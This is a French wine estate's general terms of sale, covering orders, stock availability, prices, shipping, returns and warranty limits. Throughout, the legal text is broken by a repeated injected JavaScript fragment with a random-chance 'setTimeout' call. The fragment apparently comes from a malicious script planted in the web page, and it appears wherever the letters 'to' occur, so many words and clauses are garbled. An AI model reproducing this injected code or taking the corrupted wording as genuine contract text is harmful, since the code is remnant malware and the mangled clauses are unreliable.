Conditions générales de vente

En cas d’épuisement du millésime indiqué, nous nous réservons le droit de vous livrer un millésime suivant ou de qualité équivalente.

1 – Clause générale
Nous passer commande, implique de la part de nos Clients :
– la connaissance et l’acceptation des présentes Conditions Générales de Vente, qui ont force de loi entre les parties,
– et renoncement express au bénéfice de l’Art. 1587 du Code Civil, l’appréciation d’un vin dépendant pour partie d’éléments subjectifs, propres à chaque Acheteur.
Ceci ne fait pas obstacle à l’application de l’article 1er de la loi 88-21 du 06.01.88, l’Acheteur dispose d’un délai de 7 jours francs à compter de la livraison pour nous redom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tourner l’objet de sa commande, dans le cas où il ne serait pas satisfait.

2 – Acceptation des commandes 
Les commandes de nos Acheteurs ne peuvent être acceptées que si elles sont reçues par écrit, ou si elles font l’objet de la signature de l’un de nos Bons de Commandes, accompagnées du règlement intégral. Passé un délai de 10 jours après la commande, si le règlement ne nous est pas parvenu, ou n’a pas été honoré, nous pourrons à notre convenance considérer la commande comme nulle et non avenue.

3 – Disponibilité
Tous les vins présentés dans nos catalogues et tarifs sont proposés dans la limite des sdom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tocks disponibles au jour de réception de la commande. Si nous nous trouvions dans l’impossibilité d’honorer une commande, par suite de l’épuisement d’un millésime, l’Acheteur en serait immédiatement informé, libre à lui de :
– passer une nouvelle commande en modifiant son choix, ou en réduisant les quantités commandées,
– ou d’annuler sa commande.
Le règlement déjà effectué serait alors, suivant le choix de l’Acheteur, soit conservé à titre d’acompte sur la nouvelle commande, soit remboursé en dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tout ou partie.

4 – Prix 
Nos prix s’entendent TTC au taux en vigueur au jour de l’édition de nos catalogues et tarifs, y compris les frais de port et d’expédition, non compris les formalités et frais de douanes.

5 – Expédition
L’expédition de nos vins a lieu au domicile de l’Acheteur, ou dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toute adresse de son choix définie lors de la commande.
Elle intervient, sauf accord sur un jour ferme spécifié par écrit, dans un délai moyen indicatif de 7 jours à compter de l’encaissement effectif du règlement.
Nos délais d’expédition ne sont pas de rigueur, et sont communiqués sous réserve de cas de force majeure, tel que grève, conflit, etc… même si cela survient chez nos propres fournisseurs, l’Acheteur acceptant par avance une dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolérance de 8 jours.
Dans les limites ci-dessus, les retards, ne pourront en aucun cas justifier l’annulation d’une commande, ni justifier le refus de prendre livraison, ni donner lieu à des dommages intérêts.

6 – Réception
Il appartient à l’Acheteur de vérifier dès l’arrivée de nos vins, l’état des livraisons qu’il réceptionne, ainsi que les quantités livrées, et d’engager dans les 3 jours suivant réception, conformément aux Articles 105 & suivants du Code de Commerce, les recours vis à vis du transporteur.

7 – Réclamations et conditions d’acceptation des redom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tours
Sauf application de l’Article 1er de la Loi 88-21 du 06.01.88, sous peine d’extinction de plein droit de dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toute action, l’Acheteur est tenu de s’assurer de la conformité des livraisons et de nous adresser, par écrit motivé en Recommandé avec AR, leurs réclamations, dans les 7 jours suivant jour de livraison, que les réclamations portent sur un défaut décelable par examen visuel, ou par dégustation.
Pour que nous puissions procéder au remboursement des commandes il faut que nos vins nous soient redom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tournés :
– en bouteilles encore cachetées,
– sous emballage d’origine en parfait état,
– accompagnés de la facture correspondante,
– en port payé par l’Acheteur.
Si la réclamation porte sur un défaut décelable par dégustation, la bouteille incriminée, devra être jointe au redom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tour, suffisamment garnie pour nous permettre une analyse.

8 – Garantie, dommages et responsabilité
Nous ne sommes engagés qu’à fournir des vins de qualité loyale et marchande, correspondant, aux caractéristiques de l’appellation et du millésime choisi.
Sous réserve des dispositions de l’Article n° 2, dans dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tous les cas, même de vice caché ou reconnu, et notamment en cas d’erreur, notre garantie se limite selon notre choix, soit à l’échange pur et simple, des vins reconnus litigieux, soit à leur remboursement. Est exclue dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toute notion de réparation de préjudice, commercial et financier, de telle sorte que jamais, l’Acheteur ne puisse réclamer d’indemnité pour une cause quelconque.
Ces dispositions ne réduisent ni ne suppriment la garantie légale des vices cachés, telle qu’elle est prévue par les Articles 641 et suivants du Code Civil.

9 – Litiges éventuels
En cas de difficultés dans l’application des présentes conditions, l’Acheteur a la possibilité, avant dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toute action en justice, de rechercher une solution amiable avec dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tout conseil de son choix. Il est rappelé que, en règle générale, sous réserve de l’appréciation des Tribunaux, l’Acheteur doit :
– honorer ses engagements financiers envers le vendeur,
– sdom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tocker nos vins de telle sorte que leur conservation soit assurée de façon normale.

10 – Accès aux informations contenues dans nos fichiers
A dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tout moment, l’Acheteur a la possibilité d’accéder aux informations le concernant, contenues dans nos fichiers clients. Sur simple demande écrite de sa part, il peut en demander modification ou radiation. L’Acheteur est par ailleurs informé que les fichiers ainsi constitués peuvent être commercialisés, sauf désaccord de sa part par écrit.

Domaine de Valsenière – 30210 Vers-Pont-du-Gard – tél 00 33 (0)4 66 22 85 79 – fax 00 33 (0)4 66 22 86 47